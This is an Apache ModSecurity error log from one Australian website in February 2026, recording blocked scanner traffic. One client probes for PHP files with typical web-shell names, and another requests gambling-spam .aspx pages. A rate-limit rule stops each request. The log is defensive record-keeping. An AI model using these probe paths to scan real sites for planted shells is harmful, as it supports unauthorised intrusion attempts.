[Fri Feb 13 08:16:22.550897 2026] [:error] [pid 49224:tid 49274] [client 20.215.56.176:15966] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aY5tVtiAvPoWmw5YhwniOAAAAEc"]
[Fri Feb 13 08:16:42.374128 2026] [:error] [pid 49223:tid 49256] [client 20.215.56.176:15899] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aY5tah8A_fZBamNLnfV3GwAAABg"]
[Fri Feb 13 08:16:44.679130 2026] [:error] [pid 51243:tid 51249] [client 20.215.56.176:13720] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aY5tbMim7ZTAHzi7xZsOSAAAAQQ"]
[Fri Feb 13 08:16:49.722221 2026] [:error] [pid 49224:tid 49280] [client 20.215.56.176:18763] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aY5tcdiAvPoWmw5YhwnibQAAAE0"]
[Fri Feb 13 08:17:07.808867 2026] [:error] [pid 49335:tid 49348] [client 20.215.56.176:15651] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aY5tg6p--SFY2nwOiqmd6wAAAMs"]
[Fri Feb 13 08:17:16.232297 2026] [:error] [pid 51243:tid 51263] [client 20.215.56.176:15894] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aY5tjMim7ZTAHzi7xZsOmQAAARI"]
[Fri Feb 13 08:17:31.614745 2026] [:error] [pid 49335:tid 49350] [client 20.215.56.176:17701] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aY5tm6p--SFY2nwOiqmeQQAAAM0"]
[Fri Feb 13 08:17:33.771132 2026] [:error] [pid 49335:tid 49346] [client 20.215.56.176:18024] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aY5tnap--SFY2nwOiqmeTwAAAMk"]
[Fri Feb 13 08:17:42.199390 2026] [:error] [pid 49224:tid 49285] [client 20.215.56.176:17678] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aY5tptiAvPoWmw5Yhwni6QAAAFI"]
[Fri Feb 13 08:17:44.526099 2026] [:error] [pid 49224:tid 49288] [client 20.215.56.176:15478] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aY5tqNiAvPoWmw5Yhwni-gAAAFU"]
[Fri Feb 13 08:17:46.081005 2026] [:error] [pid 49223:tid 49243] [client 20.215.56.176:17701] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aY5tqh8A_fZBamNLnfV3vQAAAAs"]
[Fri Feb 13 08:18:21.632413 2026] [:error] [pid 49223:tid 49250] [client 20.215.56.176:14101] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sim.php"] [unique_id "aY5tzR8A_fZBamNLnfV4NwAAABI"]
[Fri Feb 13 08:18:23.550416 2026] [:error] [pid 49223:tid 49243] [client 20.215.56.176:2056] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sim.php"] [unique_id "aY5tzx8A_fZBamNLnfV4RQAAAAs"]
[Fri Feb 13 08:18:26.760824 2026] [:error] [pid 49225:tid 49304] [client 20.215.56.176:18039] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aY5t0jwH8-zGxtAd3jsgDQAAAIo"]
[Fri Feb 13 08:18:28.748236 2026] [:error] [pid 49335:tid 49347] [client 20.215.56.176:17545] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aY5t1Kp--SFY2nwOiqmezgAAAMo"]
[Fri Feb 13 08:19:25.102970 2026] [:error] [pid 49335:tid 49360] [client 20.215.56.176:15386] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aY5uDap--SFY2nwOiqmf4wAAANc"]
[Fri Feb 13 08:19:33.073283 2026] [:error] [pid 51243:tid 51261] [client 20.215.56.176:18951] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aY5uFcim7ZTAHzi7xZsQEQAAARA"]
[Fri Feb 13 08:19:36.681443 2026] [:error] [pid 51243:tid 51258] [client 20.215.56.176:2346] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aY5uGMim7ZTAHzi7xZsQFwAAAQ0"]
[Fri Feb 13 08:20:18.461249 2026] [:error] [pid 49335:tid 49348] [client 20.215.56.176:4854] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aY5uQqp--SFY2nwOiqmg-gAAAMs"]
[Fri Feb 13 08:20:21.264945 2026] [:error] [pid 49225:tid 49297] [client 20.215.56.176:10797] [client 20.215.56.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aY5uRTwH8-zGxtAd3jshWQAAAIM"]
[Fri Feb 13 09:41:12.520896 2026] [:error] [pid 49225:tid 49307] [client 62.84.185.67:52466] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aY6BODwH8-zGxtAd3jtWfAAAAI0"]
[Fri Feb 13 09:41:15.150755 2026] [:error] [pid 49225:tid 49304] [client 62.84.185.67:52476] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aY6BOzwH8-zGxtAd3jtWggAAAIo"]
[Fri Feb 13 09:41:17.817912 2026] [:error] [pid 49223:tid 49256] [client 62.84.185.67:64066] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aY6BPR8A_fZBamNLnfWc1gAAABg"]
[Fri Feb 13 09:41:20.407203 2026] [:error] [pid 49335:tid 49354] [client 62.84.185.67:64080] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aY6BQKp--SFY2nwOiqnLbgAAANE"]
[Fri Feb 13 09:41:22.987143 2026] [:error] [pid 49335:tid 49353] [client 62.84.185.67:64096] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aY6BQqp--SFY2nwOiqnLhgAAANA"]
[Fri Feb 13 09:41:25.615745 2026] [:error] [pid 49225:tid 49298] [client 62.84.185.67:64108] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aY6BRTwH8-zGxtAd3jtWmQAAAIQ"]
[Fri Feb 13 09:41:28.228440 2026] [:error] [pid 51243:tid 51246] [client 62.84.185.67:18764] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aY6BSMim7ZTAHzi7xZs0dQAAAQE"]
[Fri Feb 13 09:41:30.851508 2026] [:error] [pid 51243:tid 51265] [client 62.84.185.67:18778] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aY6BSsim7ZTAHzi7xZs0dwAAARQ"]
[Fri Feb 13 09:41:33.469075 2026] [:error] [pid 49335:tid 49345] [client 62.84.185.67:18784] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aY6BTap--SFY2nwOiqnLtgAAAMg"]
[Fri Feb 13 09:41:36.062895 2026] [:error] [pid 49223:tid 49238] [client 62.84.185.67:18790] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aY6BUB8A_fZBamNLnfWdDAAAAAY"]
[Fri Feb 13 09:41:38.667623 2026] [:error] [pid 49225:tid 49315] [client 62.84.185.67:28932] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aY6BUjwH8-zGxtAd3jtWuQAAAJU"]
[Fri Feb 13 09:41:41.283029 2026] [:error] [pid 51243:tid 51246] [client 62.84.185.67:28942] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aY6BVcim7ZTAHzi7xZs0ggAAAQE"]
[Fri Feb 13 09:41:43.894088 2026] [:error] [pid 51243:tid 51262] [client 62.84.185.67:28950] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY6BV8im7ZTAHzi7xZs0hAAAARE"]
[Fri Feb 13 09:41:46.594948 2026] [:error] [pid 49224:tid 49287] [client 62.84.185.67:17198] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aY6BWtiAvPoWmw5YhwkTAAAAAFQ"]
[Fri Feb 13 09:41:49.161428 2026] [:error] [pid 51243:tid 51255] [client 62.84.185.67:17214] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aY6BXcim7ZTAHzi7xZs0lgAAAQo"]
[Fri Feb 13 09:41:51.765724 2026] [:error] [pid 49224:tid 49290] [client 62.84.185.67:17218] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aY6BX9iAvPoWmw5YhwkTBAAAAFc"]
[Fri Feb 13 09:41:54.361071 2026] [:error] [pid 51243:tid 51246] [client 62.84.185.67:17230] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aY6BYsim7ZTAHzi7xZs0nQAAAQE"]
[Fri Feb 13 09:41:56.987392 2026] [:error] [pid 49223:tid 49250] [client 62.84.185.67:32884] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aY6BZB8A_fZBamNLnfWdIwAAABI"]
[Fri Feb 13 09:41:59.563493 2026] [:error] [pid 49335:tid 49358] [client 62.84.185.67:32900] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aY6BZ6p--SFY2nwOiqnL5wAAANU"]
[Fri Feb 13 09:42:02.179407 2026] [:error] [pid 51243:tid 51256] [client 62.84.185.67:32914] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aY6Basim7ZTAHzi7xZs0rgAAAQs"]
[Fri Feb 13 09:42:04.861334 2026] [:error] [pid 49223:tid 49234] [client 62.84.185.67:32930] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aY6BbB8A_fZBamNLnfWdLQAAAAI"]
[Fri Feb 13 09:43:07.651871 2026] [:error] [pid 49224:tid 49272] [client 62.84.185.67:41662] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY6Bq9iAvPoWmw5YhwkUQAAAAEU"]
[Fri Feb 13 09:43:10.179669 2026] [:error] [pid 49223:tid 49246] [client 62.84.185.67:41668] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY6Brh8A_fZBamNLnfWd0gAAAA4"]
[Fri Feb 13 09:43:12.806701 2026] [:error] [pid 49335:tid 49351] [client 62.84.185.67:41680] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY6BsKp--SFY2nwOiqnMpwAAAM4"]
[Fri Feb 13 09:43:15.347014 2026] [:error] [pid 51243:tid 51266] [client 62.84.185.67:41686] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY6Bs8im7ZTAHzi7xZs1fwAAARU"]
[Fri Feb 13 09:43:17.931278 2026] [:error] [pid 49224:tid 49280] [client 62.84.185.67:14074] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aY6BtdiAvPoWmw5YhwkUSAAAAE0"]
[Fri Feb 13 09:43:20.363798 2026] [:error] [pid 51243:tid 51253] [client 62.84.185.67:14090] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aY6BuMim7ZTAHzi7xZs1gQAAAQg"]
[Fri Feb 13 09:43:22.960029 2026] [:error] [pid 49335:tid 49355] [client 62.84.185.67:14104] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aY6Buqp--SFY2nwOiqnMugAAANI"]
[Fri Feb 13 09:43:25.549296 2026] [:error] [pid 49223:tid 49234] [client 62.84.185.67:14120] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aY6BvR8A_fZBamNLnfWd4gAAAAI"]
[Fri Feb 13 09:43:28.163825 2026] [:error] [pid 49223:tid 49256] [client 62.84.185.67:27098] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aY6BwB8A_fZBamNLnfWd5wAAABg"]
[Fri Feb 13 09:43:30.765962 2026] [:error] [pid 49225:tid 49302] [client 62.84.185.67:27104] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aY6BwjwH8-zGxtAd3jtXtAAAAIg"]
[Fri Feb 13 09:43:33.251244 2026] [:error] [pid 49223:tid 49242] [client 62.84.185.67:27112] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aY6BxR8A_fZBamNLnfWd6QAAAAo"]
[Fri Feb 13 09:43:35.844303 2026] [:error] [pid 49225:tid 49297] [client 62.84.185.67:27122] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aY6BxzwH8-zGxtAd3jtX9QAAAIM"]
[Fri Feb 13 09:43:38.476100 2026] [:error] [pid 49224:tid 49290] [client 62.84.185.67:57896] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aY6BytiAvPoWmw5YhwkUXAAAAFc"]
[Fri Feb 13 09:43:41.090634 2026] [:error] [pid 51243:tid 51245] [client 62.84.185.67:57898] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aY6Bzcim7ZTAHzi7xZs1swAAAQA"]
[Fri Feb 13 09:43:43.699563 2026] [:error] [pid 49223:tid 49240] [client 62.84.185.67:57914] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aY6Bzx8A_fZBamNLnfWd-AAAAAg"]
